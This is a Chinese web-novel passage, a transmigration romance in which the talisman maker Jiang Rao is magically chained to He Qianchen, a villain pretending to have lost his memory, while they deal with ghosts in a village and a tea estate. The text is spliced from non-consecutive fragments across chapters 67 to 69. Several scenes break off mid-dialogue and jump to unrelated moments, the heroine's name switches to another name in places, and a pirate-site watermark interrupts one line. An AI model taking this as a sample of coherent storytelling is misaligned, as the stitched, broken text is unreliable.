姜桡突然觉得,有时候一个人清醒着也挺无助的。 她急忙开口喊道:“贺千宸,你醒醒。” 连喊三四声,侧躺在床榻上的贺千宸没有半分要醒来的迹象,而耳边的啼哭声似是越来越近,姜桡迅速用左手的食指沾起一张黄符,并夹在食指与中指中间,无名指与小拇指半弯曲着。 “八方符灵镇诸邪,疾!” 手中的黄符迅速朝着门口方向飞去,最终稳稳当当的贴在门上方。 耳边那瘆人的啼哭声减弱不少,姜桡并未放松警惕,而是抓起桌上的另三张黄符,分别贴在屋内另三个角落处。 做完这些,她这才松口气。 姜桡正准备将余下的黄符收拾进挎包内时,突然感觉后背一凉,桌上的黄纸被风吹的簌簌作响,她下意识扭头看去,原本紧闭地木门不知何时被打开,贴在上方的黄符被吹落屋外,很快就被雨水给浸湿,成为一张无用的废符。 冷风夹杂着许些水气俯冲进来。姜桡抿紧着唇,目光落在了屋外。 张公家的院子正对村子中心的那棵百年榕树,此时榕树下正站着一名四五岁的孩童,穿着青色补丁粗衣,头上顶着两个由红色长线扎的小揪揪,一只脚穿着虎头鞋,另一只脚则光着踩在泥地上。 那自带婴儿肥的双手透着不正常的惨白,边擦拭泪水,边哭喊着娘亲。 在瞧见那孩童的瞬间,姜桡的脑海中冒出两个字。 殇魂! 不知何时,哭声停止,孩童似是察觉到了姜桡的目光,缓缓抬起头来。 姜桡在看清雨中孩童的脸的瞬间,被吓得倒吸一口凉气,身体下意识地朝贺千宸那方向又挪了挪。 那孩童左半张脸似是被橡皮擦拭掉了般,平整光滑,没有一丝褶皱,而另外半张脸露出一只眼,半边鼻子跟一半的嘴巴。 这一幕在深夜的雨幕中显得格外的诡异与惊悚。 孩童突然站起身,缓缓朝院子方向走来,他那半张嘴一开一合,不知在说些什么。 随着慢慢靠近,姜桡终于听清楚了。 “找……找阿……阿娘。” “姐……姐姐,救救……救救小虎!” 姜桡很想开口回应,姐姐救不了你,姐姐现在也很害怕。 孩童可怜兮兮的站在院外,他似是在忌惮什么,没敢继续向前,仅有的一只眼睛就这样紧紧盯着姜桡,良久,那小小的身影才消失不见。 姜桡立即松口气,她上前立即将敞开的木门给关紧,又在木门上方贴两道镇邪符,才感到安心。 许是害怕方才的事情再次发生,姜桡的目光落在贺千宸旁侧那空出来的位置,半响,她狗狗祟祟的摸到床榻上,见贺千宸没什么反应,犹豫片刻,又心惊胆颤的躺了下来,紧紧搂着怀里的挎包。 若是可以,姜桡恨不得抱着贺千宸睡。 倒也不是占便宜,她刚才能看出来,那只殇魂应是畏惧贺千宸的存在,才不敢继续靠近。 姜桡略有些自责丢师门的脸,但让她想不明白的是,镇邪符理应不会从外破开,可刚才那张镇邪符却突然失效,这才导致那只殇魂发现自己。 也不知是这一日过的太过于充足与刺激,躺在床榻没片刻,姜桡便沉沉的睡了过去。 而背对她侧躺的贺千宸却缓缓的睁开了眼。 翌日。 姜桡从睡梦中惊醒,正坐在床榻上大喘着气,他忍不住回想梦境中师父对她的恨铁不成钢,让她画一千张平安符的画面。 真是太可怕了! 这时,木门“咯吱”一声从外被推开。 屋外依是细雨绵绵,贺千宸见姜桡醒后,脸上浮出一抹浅浅的笑意。 “睡的可好?” 那声音明明清润温和,可姜桡却听出几分冷意。 她下意识想抱紧怀里的挎包,却发现它不知所踪,整个人不由焦急了起来,直至发现它被放置在木桌上,这才松了口气。 姜桡低着头,心里头盘算着,若贺千宸不问她怎么睡到床上的,那自个就不答,若问那就装傻。 “挺好的。” 这时张公的儿媳妇撑着雨伞,站在在院中大声吆喝着。 “姜姑娘,张公子,早饭做好了。” 姜桡连忙起身,她将挎包背在身上,正准备出门时,却听贺千宸突然开口道。 “昨夜睡得沉,似是听见你喊我,可是发生了什么事?” 姜桡侧过身子,想了想,便将昨夜瞧见殇魂的事情说出来,不知为何,今日回顾那殇魂的行为举止,总觉得有些怪异。 殇魂会开口求救? 贺千宸垂眸,那张白净且俊美无俦的脸上投下一片阴影,他故作漫不经心的道。 “我似隐隐约约记起,殇魂是记不起自己名讳。” 姜桡呆愣住。 人在海中停止呼吸,停止心跳的那一霎那,会遗忘姓氏与珍藏的记忆,也因此殇魂会被凡人那强烈的七情六欲所吸引住。 那些东西是它们曾经拥有却又遗忘的东西。 就像是烛火对飞蛾有着致命的吸引。 姜桡不由看向贺千宸:“那昨夜我所瞧见的孩童就并非殇魂,而是游荡在黑河村的亡魂。” 贺千宸却一脸茫然:“我不太清楚。” 姜桡想了想,决定待会去问问张公,虽不知这亡魂同殇魂有没有关联,但这件事总得要解决。 主要她是害怕这只亡魂今晚又找上门,并赖上自己。 两人出了屋,撑着雨伞去了大厅内。 这用完早饭后,张公正想问今日要准备怎么找出藏在村子里的邪祟时,便听见姜桡开口问道。 “这村子里可有一名叫虎子的孩童,差不多四五岁的样子,脚上穿着虎头鞋。” 想起那诡异又惊悚的半张脸,姜桡是真的没法子去形容那孩童相貌如何,只能将已知的线索说出来。 张公愣了愣:“你说的孩童应是王小虎,住在村尾边上,是个遗腹子。” 姜桡立即听出这话的不对劲的之处,略微诧异道:“他还活着。” 张公的脸上不由露出疑惑的神情:“自是活着,前些日子我还瞧见他同村子的几名孩童去后山摘菌子。” 姜桡懵了! 若王小虎活着,那昨晚她瞧见的孩童是谁? 难不成这村子里还有另外一个叫小虎的? 张公忍不住问道:“姜姑娘,那孩童你是在哪瞧见的?” 贺千宸伸出手,一团拳头大小的黑雾悬浮在上面。 自他入魔之后,他竟发现黑雾竟同灵气般运转。 而刚听到阿桡说的那些后,贺千宸才明白过来。 黑雾同灵气本是一体,只是灵气被修真者吸纳体内减少,黑雾被欲望滋生增多。 本来平衡的状态被打破,黑雾大过灵气之后,里外两界才出现这种诡异之事。 贺千宸告知阿桡自己的猜测:“两者恢复到原本的平衡状态,黑雾或许就不会在出现。” 姜桡低头沉思片刻,忽开口。 “我有办法!” 第 67 章 第六十七章 其实办法很简单,但不知道能不能行。 姜桡看着潭水那大片的五色睡莲,轻声说道。 “阿鹤,如果里外两界合二为一会怎样?” 这也是她所想到的办法,里外两界天梯上的上古法阵,上面的符文皆是灵族血所绘制,其中酝酿大量的灵气。 天梯本是通向两界渠道,可能将其砍断,两界便合二为一, 没有天梯,上古法阵也可以将其摧毁,所蕴含的灵气喷涌而出,应该能弥补缺失的灵气。 姜桡继续说道:“阿鹤,你不觉得奇怪吗。李扶砚将灵族看做修行路上的踏脚石,那又怎舍得用灵族血液加固天梯上的法阵?” 贺千宸垂眸,如鸦翼般的长睫毛微微颤了颤,而后说出了答案。 “天梯隔绝了灵气,这也为什么修行者都在外界,普通凡人身在里界。” 可细想,自己本来就是献给河神的新娘祭品,也算不上是什么谎言。 只是话音落后,原本悬浮在半空中的那些金色粉末重新化为黑色的铁链,还没等姜桡回过神来,铁链一端栓在她的左脚脚踝处,另一端则栓在贺千宸右脚的脚踝。 眨眼间,两处紧紧相连的地方消失不见,铁链大小也发生变化,似是一条极有特色的脚链,细看那些金色的梵文还在时不时的流动。 姜桡彻底傻了眼,她抬起头看向贺千宸,也顾不得这个人危险不危险。 “为什么会这样?” 这不是栓大反派吗? 怎么把自个都一起栓了! 贺千宸也愣在原地,许是没想到束缚自己千年的枷锁竟是被偷进过来的小老鼠解开,更没想到两人会绑下的契约。 鲜血以为媒,言灵以为誓,同生同死。 还真是麻烦。 贺千宸伸手轻轻摩挲脚踝处的那条链子,眼底露出一丝阴鸷,可很快就被掩盖下去。 他抬起头,那双漂亮的丹凤眼中水光潋滟的盯着眼前的女子,一脸无辜的撒着谎。 “我也不知,我似是忘了许些事情,你可知我是谁?” 姜桡彻底愣在原地,她看着贺千宸那漂亮的脸蛋露出迷茫模样时,心里的提防在一点点溃散。 她并未怀疑贺千宸的话,许是先入为主的缘故,在姜桡看来,贺千宸是真没必要装失忆的戏码。 好半响,她才昧着良心,支支吾吾开口。 “你……你是心地善良的河神!” 这个答案让贺千宸意味深长的盯着眼前女子,他似是想到什么有趣的事,脸上露出一抹灿烂的笑意,亦如黑夜中盛开的昙花,美的让人挪不开眼。 声音低沉,又带着一丝蛊惑。 “娘子?” 姜桡下意识开口:“A ha?” 待反应过来后,她恨不得给自己一个耳光。 这也怪不得姜桡,毕竟那些刻在DNA的歌词实在是下意识的反应。 贺千宸依旧是笑着,依旧是以高高在上的姿态俯视眼前的女子,他伸手轻轻捏着女子沾有一些污泥的下巴。 “还不知娘子的名讳?” 贺千宸的手也极其漂亮,如同上好的玉瓷器,白皙修长且骨架分明。只是在姜桡看来,那只手冰冷的叫人害怕,似是一条吐着舌信的毒蛇,下一秒就会缠在她的颈脖处,然后用力勒紧。 姜桡咽了咽口水:“姜桡。” 她是被丢弃在道观的孤儿,随着师傅姓,因道观门口种有好几株姜桡子,便取名姜桡。 “我名贺千宸。” 许是太久没有说过自己的名讳,贺千宸的嗓音带着生硬与沙哑。 那只冰冷的手捏着姜桡的下巴,轻佻的向上挑起。 “可别忘记。” 姜桡张嘴想说些什么,目光却被身后的那棵玉树给吸引过去。 她不知玉树的存在是束缚贺千宸最重要的存在,更不知那铁链的源头也是来自这棵玉树。 铁链离开贺千宸脚踝的那瞬间,这座罪仙囚狱也失去它的存在性。 琼玉树毫无征兆的朝另一边倒去。 姜桡的小脸瞬间露出肉疼的神情,这么大棵玉树摔落在地,怕是会摔得稀巴烂。 这玉碎了可就不值钱了。 玉树倒下的瞬间,将最前端的石壁砸出个大洞,洞外是翠绿的丛林,阳光随之倾斜落下,时不时还听到几声鸟叫。 贺千宸忘了自己有多久没瞧见这样的景致。整个人愣愣的呆在原地,那双细长的丹凤眼露出一丝迷茫。 在他失神的片刻,姜桡突然爬站起来,朝着洞口方向小跑过去。 贺千宸的目光随着那只“小老鼠”的身影移动,以为她是要逃离,不曾想是蹲在琼玉树旁,一脸心疼。 姜桡见玉树并未摔的粉碎,这才松了口气,看着脚旁那一株在阳光下散发温润光晕的枝桠,忍不住伸手摸了摸,那冰冷的触碰让她心瞬间激动起来。 还好,还好。 大宝贝还在。 可就在姜桡准备将脚边那一株玉枝桠折断时,眼前的玉树突然化为绿色的荧光,消失在这天地之间。 在那瞬间,姜桡听到自己心碎的声音。 她那么大一棵玉树呢!! 怎么就突然没了!! 贺千宸将姜桡脸上的错愕与揪心的神情时,眼底露出一抹诧异,他站起身走过去。 可想到两人身上的契约,那鸦青的睫羽边掩盖眼底的杀意,边故作遗憾道。 “这琼玉树可是不得多的珍宝,单单一片叶子都可买下一座城镇。” 姜桡!!! 贺千宸继而有慢悠悠说道:“可惜娘子方才没能够折下几株枝桠,那枝桠折断虽不及琼玉树那般值钱,但却不会随琼玉树消失不见。” 姜桡只觉得贺千宸嘴里吐出得每一个字都像是一把刀,刀刀捅在她的心窝里。 难受的厉害。 贺千宸见姜桡那一副追悔莫及的模样,漂亮的脸上露出无辜的神情,那双漆黑的眸子却是瞥向洞穴外,那片有阳光的丛林处。 姜桡好半响才回过神来,痛失暴富的机会对她打击太大,整个人似丢了魂般,好半响才回过神,想起自个的包袱还遗落在黑河村呢。 那里头可还有不少黄符与朱砂呢。 只是还没走几步,便被一道阴影给笼罩住。 姜无味抬起头,就对上贺千宸那双狭长的丹凤眼,漆黑的眸子似是黑湖,深黯的让人瞧不清任何情绪。 她猛的回过神来,整个人更是惊得一身冷汗,自个怎就忘了这个祖宗。 贺千宸垂眸,语气带着几分冷意。 “娘子方才是想抛弃为夫?” 姜桡后知后觉反应过来,连忙反驳:“我不是,我没有。” 贺千宸微眯着眼,轻声解释:“你我已绑定契约,若两人离的太远,铁链会化为荆棘,从血肉中生长出来,那样很疼。” 姜桡瞬间被吓的脸色苍白,哪还在顾什么反派不反派,她看着眼前的男人。 “这契约不能解除吗?” 姜桡向来惜命的很,又怎愿同贺千宸绑在一起。 虽书中对贺千宸描写不多,但他出场便是子夜红月,百鬼哀嚎,结局更是穿着沾着鲜血浸透的黑衣,伸手将男主的心脏掏了出来,并将其推入冥海中,而留下女主在海村中苦守到老。 不等贺千宸开口作答,姜桡再次开口,并小心翼翼的试探道。 “你真的失忆了吗?” 贺千宸一脸认真:“那是自然,娘子是不信我?” 姜桡也觉得自己是多想了,若贺千宸没有失忆,怎会如此良善的相信她所说的话,怕是直接一爪子掏出自己的心肝,骨灰都给磨成粉。 可“娘子”那两个字,总觉得像是催命符。 姜桡极其心虚的低下,早知道说是他失散多年的妹妹。 毕竟这一声又一声娘子听是芒刺在背,站立难安。 “你别喊娘子,喊我姜桡就好。” 姜桡的目光忍不住落在贺千宸那如玉般的脚背上,随即又落在脚踝处那条黑色的锁链。 黑白的相衬,给与人一种很强的视觉冲击力。 瞧的挪不开眼。 贺千宸先微微蹙眉,而后那似笑非笑的目光落在姜无味的身上。 “你想解除契约?” 姜桡用力点点头。 贺千宸要比姜桡高个头,似是一座山般站在姜桡的面前,他突然伸手擦拭掉沾在姜桡下巴处的污泥。 那指腹柔软,却又冰冷的厉害。 姜桡被突如其来的亲昵吓的全身僵硬,若那日这大反派恢复记忆,怕杀的第一人定是自己。 想起贺千宸的手段,她没出息的哆嗦起来。 贺千宸假装没察觉到,嘴角虽露出浅浅的笑意,但那双漆黑眸子却似是深不见底的寒潭。 “不如出去找人问问?” 姜桡似是想到什么,双手紧握成拳,瞪大的眼睛中带着怒气。 她几乎是咬牙切齿道:“那我们就去黑河村!” 找人算账! 在姜桡看来,这一切都是黑河村长的错。 他若没把自己骗过来,打晕塞到花轿里,那就不会同贺千宸搅合在一起,小命岌岌可危不说,还有那什么鬼契约。 姜桡朝前没走几步便停了下来,她扭头看向整个身影都被笼罩在阴暗中的贺千宸,小心翼翼的开口。 “我们离多远,这链子才会化为荆棘呀?” 贺千宸从阴影中走出来,阳光洒落那他的身上,将地上的影子拉的极长,本就极白的皮肤衬托的有些病态,根根长而翘的睫毛落下的阴影,将眼中那一闪而过的杀意掩盖住。 “我也不知。” 姜桡幽幽的叹口气,朝后退了几步,边与贺千宸同行,边小声嘀咕着。 “那黑河村邪的狠,总感觉那村子里藏有什么脏东西。” 话音落后。 姜桡似是想到什么,本脱口而出的两个字因贺千宸在旁的缘故,又硬生生的给憋回了肚子。 《诛殇》中主要剧情,便是男主与女主携手诛杀殇魂的过程。 而文中也详细描述过,这殇魂到底是什么样的存在。 天地玄黄,宇宙洪荒,日月盈昃,辰宿列张。 洪荒初期,没有黄泉,更没有阎王殿与奈何桥。 死去的人化为孤魂,游荡在天地之间。 可伴随天灾,饥饿,疾病,孤魂数量增多,严重影响活着的人,那时名为“刳其”的人站出来提议。 不如将这些孤魂赶去冥海。 而在冥海深处有座城,名为归墟。 “不如让我掌管这具身体。” 贺千宸丝毫不慌,他紧盯正前方的天梯,讥讽道。 “多谢你,若不是这天梯或者我还斩不断。” 反应过来被骗的心魔只能无能狂怒,然后看着贺千宸食指中指并拢,放置眉心。 属于它的力量北快速被抽取过去,只见白黑两色的灵气混合在一起,如同八卦阵般在贺千宸面前迅速转动。 底下有老者看到这一幕,不由诧异道。 “他竟修出法相!” 第 68 章 第六十八章 九品之上,法天象地乃是最高境界,亦是修出自身法相,从而劈开天门。 只是没想到贺千宸会选择斩断天梯,只希望能化解里外两界的这场灾难。 随着黑白八卦迅速转动,在贺千宸的身后缓缓浮现出一个堪比千雪雪山般巨大的身影。 身影全身散发金色光芒,耀眼的让人睁不开眼。 可姜桡却看得清清楚楚,那道巨大的身影同贺千宸生的一模一样,只是在金光下,整个人显得庄重威压。 只见它双手持剑,怒喝一声,手中的那把剑直直的砍向正前方的天梯。 随着“轰”的一声巨响,天地间开始剧烈的晃动。 那座天梯仿佛扎根在外界的血肉中,一击并无法斩断。 而里界的震感要小些,他们能透过云层看到一抹璀璨的金光,以及天梯开始晃动,上方出现如蜘蛛网般的裂缝。 还未从昨夜惊魂中回神的镖局几人瞬间慌了神,李广则下意识朝姜桡身边挪了挪。 山中有雾气本是正常不能再正常的事情。 可如今才春夏之际,昨日未下雨,今日阳光明媚,阿茶山周边又没江河,那这浓浓的雾气从何处而来? 这让姜桡心中有种很不好的预感,她下意识扭头看向身边的贺千宸,却见他神情淡淡,漆黑如曜石般的眸子清冷的望着那雾气。 不愧是书中的反派大佬,无论发生什么,都是一副风轻云淡的神情。 陈千峰焦急的问道:“杨镖头,那我们还下山吗?” 这话也是镖车其他人迫切想问的,他们是真的不想在这茶庄呆上一刻。 杨镖头神情凝重,他着实没有料到事情发展会变成这样,看着茶庄外将周边景致遮挡严实的白雾,眉头紧皱,若这样下山,怕是更危险。 可想到昨夜那双穿着红色绣花鞋的青灰色的脚踝,杨镖头的脸色苍白如纸,这前有虎后有狼的局势让他内心自责不行。 当初若是绕路,亦或者听那位姜姑娘的话,及时下山不在茶庄借宿的话,也就不会发生这些事。 似是想起了什么,杨镖头连忙转身,朝着姜桡所在的方向走去,双手抱拳,弯腰赔罪。 “姜姑娘,是在下有眼不识泰山,还望姜姑娘大人不记小人过,给我们指一条明路。” 正不知怎么办的姜桡??!!! 贺千宸则站在旁侧,似笑非笑的看着神情有些错愕的女人。 李广立即道:“昨夜那张救了我们所有人命的黄符就是姜姐给的。” 想了想,他又补充一句:“可是花了我二两银子。” 没等姜桡开口,就听杨镖头开口。 “姜姑娘,我愿付二十银子酬劳,只请你护我们平安。” 昨夜所发生的事情已经颠覆杨镖头这些年的认知,他回想起姜桡一开始的警告以及那张黄符的威力,只觉得自己是有眼不识泰山。 如今他别无所求,只求镖车所有人都能活着回去。 身上银钱快要花光的姜桡,没有一丝犹豫就点头应道:“行。” 她目光灼灼盯着杨镖头,而杨镖头也十分上道的将腰间的钱袋子摘下来,十分恭敬的递过去。 姜桡那双圆溜溜的葡萄眼乐的如月牙儿般,待将钱袋子塞入挎包后,才拿出好几个三角护身符递给杨镖头。 这些都是她昨夜将画好护身符一张张折成出来的。 原打算卖给李广的,可眼下也差不多。 杨镖头激动接过这些护身符:“姜姑娘,是不是只要佩戴这些护身符,我们就可以下山?” 姜桡??? 她幽幽道:“我只是个稍微有点实力的符师,不是神仙。” 李广忍不住开口:“姜姐,那这护身符有什么用呀?” 姜桡闻言,耐心解释“碰到普通的邪祟的话,这护身符可护你们一次” 李广愣了愣:“那如果不普通呢?” 姜桡语气诚恳:“那就只能原地等死。” 杨镖头等人脸色瞬间苍白如纸,半响,杨镖头还是将手中的护身符分发给镖车的每一个人,他有些不死心。 “姜姑娘,有抵挡不普通的护身符吗?” 姜桡点点头:“有呀。” 杨镖头微微愣住,没回神来,便听姜桡说道:“可那是另外的价钱。” 这普通的护身符跟升级的护身符花费的精力怎能一样,后者可是要花费很多精力的,自然是要收贵点的。 可惜姜桡从来没画成功过。 人群中,也不知道是谁嘀咕着:“咱们也不要什么护身符,只想下山。” 姜桡侧目看着茶庄外那看起来如泉水般流动的雾气,伸手从怀里掏出一张黄符出来,将黄符朝空气一抛,右手捏手诀。 “八方符灵听我令,幻鹤!” 只见那张黄符瞬间幻化成纸飞鹤,扑腾的纸翅膀朝着雾气所在的方向飞去,在纸飞鹤触碰到白雾的一瞬间,看起来无害且没有危险的白雾骤变成血盆大口,眨眼就将那只纸飞鹤给吞噬其中,没了踪影。 杨镖头等人彻底傻了。 而这一幕也被急忙忙刚过来的茶庄主人韩员外等人看个正着,他们皆愣在原地,许是没想到会发生这样的变故。 姜桡看着杨镖头,轻声解释:“只有雾散了,我们才能下山。” 贺千宸似是察觉到什么,狭长的丹凤眼淡淡的扫了韩员外等人,随即将目光落在一脸烦躁的姜桡身上,那张俊美无俦的脸上第一次露出苦恼的神情。 李广正准备开口询问,这雾气何时才能散,那韩员外就急忙忙的冲过来,语气激动且哀求道。 “高人!” “高人!” “还请你救救韩家,救救这阿茶茶庄吧!” 姜桡只觉得这话有些耳熟,昨夜那鬼婆子也曾让她救救韩家子孙,想起厅内摆放的棺材的瞬间,她立即明白这是怎么一回事。 这是中招了! 那鬼婆子并未有坏心,只是想引众人进茶庄,让他们救救自己的儿孙,可被姜桡谨慎的拒绝后,那怨气却突然蹭蹭蹭的涨,故转变厉鬼。 姜桡并未开口回应眼前身着绛红暗纹长袍的韩员外,她又不是傻子,怎会不明白阿茶山庄周边为何出现诡异的雾气。 凡有殇魂所在,必有异象。 只是阿茶山庄中的这只殇魂,很明显同黑河村的那只殇魂是不同的。 不用看就知道棘手,难对付。 而且它在暗,自己在明,更不好处理。 方才姜桡还收了二十两银子,要护住镖车队等人,那就更难了。 韩员外见姜桡迟迟不应声,顿时红了眼眶,他也顾不得什么尊严,直接“扑腾”的跪了下来,这惊的身后的众人纷纷惊呼道。 “阿爹!” “老爷,使不得呀!” 韩青连忙上前将阿爹给搀扶起,他看向姜桡的,语气不善道:“姑娘,大家现在都是同一条上的船,救韩家就是救你们。” 这话其实说的没错。 府邸外有吃人的雾气,他们还得借宿在韩家人的茶庄中避难呢。 姜桡迅速捋清局势后:“你说的很对,但我从不干白活。” 韩青眼底闪过一抹鄙夷的神情,而韩员外立即开口。 “若姑娘让韩家渡过这次劫难,韩某愿千金相赠。” 姜桡听到千金这两个字眼睛都亮了,但很谨慎的没有立即应下,她又不傻,怎会不知道这酬劳越高,活越难。 “我只是个半吊子的符师,可没那么大本事,”姜桡如实说道。 有些事总要说清楚才行。 姜桡继续说道:“所以我也保证不了你们韩家人能不能渡过这场劫难。” 韩员外见她神情认真,不像是说假,也只有叹口气。 “我们韩家祖祖辈辈守着这阿茶山,从未做过什么伤天害理之事,怎么……” 余下的话韩员外并未继续说下去。 “姑娘,你们还未用早膳吧,不如我们边吃边聊。” 话音落后,镖车那行人的肚子就传出“咕咕”叫的声音。 韩员外连忙吩咐下人备菜,随即上前招呼姜桡一起过去,可目光却不由被旁边那气质非凡的男子给吸引住。 方才不想追究,就是因这男子的缘故。 韩员外经商这些年,遇见不少达官贵人,故此一眼就能断定这男子身份不简单。 在去侧厅的路上,韩员外开口介绍犬子韩青与小女韩琴,韩琴的目光早就落在贺千宸的神情,双手害羞的揪着手帕。 而穿着藏青色袄裙,略微年长的女子是韩员外的夫人丁氏,身着娇嫩粉色袄裙,面若桃花的女子则是韩员外的妾室胡娘。 众人用早膳分为两桌,姜桡同贺千宸两人随韩员外一家一桌,杨镖头等一桌。 韩青在瞥见姜桡吃第三个肉包时,脸上瞬间露出鄙夷的神情,他显然没什么胃口,将筷子放下后,冷冷的哼了声。 姜桡懒的理会这种傻波,继续埋头干饭。 有一说一,这厨子做的肉包可真好吃! 这时韩员外也放下筷子,他接过胡娘递过来手绢,细细的擦了擦嘴角,随即开口道。 “姜姑娘。” 姜桡咽下嘴里的肉包子,埋头喝了口粥后,才抬头看向韩员外,示意他继续说下去。 韩员外脸色有些难看,想到有求于人,脸上挂着笑意。 “我听镖局的人说,昨夜是有个婆子给你们开的门?” 这时贺千宸伸手拿个水煮蛋,将其放在桌前轻轻磕了磕,发出的声音让姜桡忍不住侧目看去。 此时韩员外正幽幽叹气。 “我本不信鬼神,可打我阿娘死后,茶庄中就开始不安生,昨夜那婆子应该就是她,或许是舍不得府邸中的孩子,才闹成这样。” 姜桡没吭声,她目光正落在贺千宸身上,见他那双白皙且骨节分明的手,正仔仔细细将破碎的蛋壳一点一点的扒掉,动作优雅矜贵。 韩员外继续道:“姜姑娘可有法子,超度我阿娘,让她去投胎?” 姜桡回过神,抬头对上韩员外那双略为浑浊的眼睛:“昨夜你阿娘恳求我,救救你们韩家子孙!” 这话无疑是一颗巨石砸入深潭中,击起大片水花,溅落在韩家每一个人的心头上。 韩员外很快就反应过来,他脸上苍白的厉害,最后声音有些发颤道。 “姜姑娘是说,茶庄还有别的……” 余下两个字他没敢说出口。 可答应完后,她就开始好奇起来,自己同贺千宸生出的小果子,是人族呢?还是灵族? 亦或者是人族跟灵族的混血? 带着这个顾虑,姜桡坐在上的花轿,牵着红丝绸同贺千宸拜堂成亲。 待送去新房的路上,苏音不忘提醒道。 “阿桡,记得我给你的宝贝,一定要看!” 姜桡轻“嗯”了声。 苏音这才松了口气,希望自己的心血不会被白费。 屋内龙凤蜡烛燃烧着,桌上摆放着酒壶跟一些糕点。 姜桡坐在新床上,见屋中只剩下自己后,才从灵宝袋中掏出苏音给的“宝贝”。 那是一本书,上面写避火图三个字。 姜桡疑惑的翻开其中一页,在看清里面的内容后,先是愣了愣,随即脸颊通红。魔/蝎/小/说/m/o/x/i/e/x/s/.c/o/m 【终章】 第 69 章 第六十九章 只是一页,姜桡整个人就羞得不行,哪有勇气翻开第二页。 她心里忍不住嘀咕,苏音骗人,这哪是什么宝贝。 贺千宸没让姜桡等太久,进屋之后,目光不由自主的被一身红衣的阿桡深深吸引,他只觉得阿桡全身散发一层朦胧的光,让人挪不开眼。 按照习俗,新郎是需要掀开新娘子的红盖头。 贺千宸神情看似平静,双手却紧握成拳,他喉咙上下滚动。 “阿桡。” 那声音低柔且沙哑的厉害。 不知为何,姜桡脑海中不由浮现避火图上的内容,心尖微微颤动,她下意识揪着衣裙,然后轻“嗯”了声。 贺千宸轻轻掀开红盖头,看着面若桃花的阿桡,一时间晃了神。 待回过神后,眉眼满是笑意。 “阿桡真好看。” 姜桡总觉得空气中变得粘稠起来,让她的胸膛那处跳的厉害,更是不敢抬头对上阿鹤那灼热的目光。 仿佛一对上,阿鹤就要把自己给生吞活剥了般。 贺千宸看向桌上的酒:“我们得喝交杯酒。” 他想了想又道:“交杯酒,到白头。” 姜桡嘴角不由微微向上仰起,她低着头轻声回应。 见老者的身影逐渐走远,姜桡才收回目光,她信老者真有几分本事在身上,至于他说解开链子的钥匙就在南境。 那就不如去南境一趟。 姜桡下意识蹙起眉心,随即侧目看向身边微微有些愣神的贺千宸,似是想到什么,她忍不住小声嘀咕着。 “我问他做什么,一个失忆的人,又怎会知道南境是什么地方。” 奇怪的是,姜桡总觉得这两个字很熟悉,她无比谨慎的在脑子里过了一遍原著中的剧情,可原著中并未提到南境二字。 就在这时,张公却突然开口道。 “这地方我似是听过。” 姜桡有些错愕的看向张公,而除了贺千宸,众人的目光也都落在张公身上,等待他接下来要说的话。 张公缓缓开口:“前几日去镇上寻高人来解决村中邪雨时,在城中的清雅堂门口,曾听到里头说书人提到过南境。” 姜桡正怀疑张公是不是把难尽听成了南境时,却听张公继续道。 “我记得,那说书人也念过方才那首诗,什么百鸟鸣,什么拜见神女。” 闻言,姜桡瞬间眼前一亮,看来只要找到张公口中的那位说书人,兴许就可弄清楚南境是什么地方,且在什么位置。 想到一百两银子已经拿到手,那黑河村这个地方就没有什么好留恋的。 当姜桡告别后,张公还十分贴心的让村里人驾着牛车,将两人送到桚城的城口处,省的两人一路走过去。 许是怕贺千宸又发什么神经,姜桡抿着唇沉思良久,抬头看向正瞭望城内方向的男人。 “贺千宸。” 从第一次听自己名字感到陌生,到如今已经习惯的贺千宸将目光从那喧嚣的人群中挪开,对上那双灵动的葡萄眼,微微挑眉。 为了能够顺顺利利解除两人身上的契约。 姜桡一脸认真,语气诚恳的说着最违心话:“我从没有过抛弃你的念头。” 贺千宸的眸光微微颤了颤,随即勾起了嘴角,露出一抹意味深长的笑意。 “哦?” 那尾调拉的有些长,似是在质疑这番话。 姜桡丝毫不慌,她早已想好对策。 “我只是觉得,咱们之间的关系要靠契约来束缚,是对彼此的侮辱。” 贺千宸垂下眼眸,掩盖眼底的冷意,声音却极其无辜道:“那我便信阿姜。” 姜桡面上一喜,许是没有想到贺千宸竟轻而易举的信了自己鬼话,连忙扯着身边男人的衣角,目光落在不远处那热闹非凡的城内。 “那咱们现在就去找那说书人,打听打听南境的事。” 那语气藏不住的雀跃。 姜桡也逐渐回过神来,连忙咳嗽几声,来压压那得意忘形的声调。 贺千宸故作没听见,随着姜桡朝城内的方向走去,他可是比谁都希望,早些解除这另人恼火的生死契,从而获得真正的自由。 想到这千年间被束缚在那暗无天日的牢笼中,贺千宸那双狭长的丹凤眼中似是寒冬下的海面,在绝对幽深刺骨下,又藏着不易察觉的疯魔。 姜桡压根就没有注意到贺千宸的异样,她的左手很不自在的贴着挎包,生怕一不留神,那一百两的银票就被偷儿给摸走了。 在路过一间钱庄时,姜桡停下了脚步。 这两张五十两银票数额大,花的时候不好花,关键拿出来也太招人惦记,思索良久后,便进去将一张五十两银票换成了四个小银元宝,十锭小银子。 在感受到挎包中的重量后,姜桡心情大好的拍了拍贺千宸的肩膀,无比阔气道。 “你今日想买什么就买什么!我有钱!” 贺千宸先是愣了下,随即轻嗯了声,听不出情绪如何。 这有了钱,姜桡自然是出手大方,先是买了五串糖葫芦,塞两串糖葫芦给贺千宸,自个嘴里吃着,左手右手各拿一个。 在买糖葫芦时,她顺便打听清楚张公口中的清雅堂在那。 这还未抵达清雅堂,姜桡手里的三串糖葫芦已经啃得只剩下一串,只觉得牙酸的不行,她抬头看向贺千宸,却见他只是好奇盯着那两串糖葫芦,却一颗都没吃。 姜桡忍不住问道:“你为什么不吃?” 贺千宸那修长白皙的的手紧紧攥着那细长的棍子,与上面那红彤彤裹满糖浆的山楂形成鲜明的对比,他的目光落在那上头,带着不易察觉的厌恶。 “不喜欢。” 姜桡只以为贺千宸不爱吃甜食,便将那两串糖葫芦拿过来,嘴里边嘀咕。 “早说呀,让我花冤枉钱。” 贺千宸:…… 姜桡将手中的三串糖葫芦分给角落边上的乞儿后,就带着贺千宸朝北边的街道走了半炷香功夫,才瞧见那清雅堂的牌匾。 这刚走过去,门口候着的青衣小厮们就笑脸迎了上去。 “公子,姑娘,今日是言先生说书,可要进去听听。” 姜桡那挎包中有的是银子,她挺胸仰着头:“自然。” 其中一名青衣小厮连忙带着两人进到清雅堂里头,只见大厅中间建有高台,高台上摆着两张墨色山水的屏风,屏风前有一张长桌,一张太师椅。 而台下的四方桌落座不少人,正边喝着茶边议论着今日言先生今日会讲什么。 这时贺千宸突然开口:“寻个偏静的地。” 